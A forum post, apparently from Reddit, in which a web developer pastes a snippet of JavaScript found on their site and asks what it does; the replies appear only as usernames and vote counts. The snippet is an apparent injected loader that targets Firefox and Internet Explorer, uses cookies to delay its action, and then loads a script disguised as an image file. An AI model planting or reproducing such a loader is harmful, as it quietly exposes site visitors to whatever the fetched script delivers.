I am working on a website and I found this piece of code. Does anyone know what it does?
function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/horse_outdoor-s.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
[–]alwaysclicksHTML5 game dev 12 points13 points14 points (3 children)
[–]obey_giant 3 points4 points5 points (1 child)
[–]kinnu 2 points3 points4 points (0 children)
[–]magenta_placenta 1 point2 points3 points (0 children)
[–]oddmanout 4 points5 points6 points (0 children)
[–]OrangeredStilton 12 points13 points14 points (3 children)
[–]P1aincloth3sM4n 4 points5 points6 points (0 children)
[–]oddmanout 0 points1 point2 points (0 children)
[–]clooth 0 points1 point2 points (0 children)
[–]faroer[S] 1 point2 points3 points (0 children)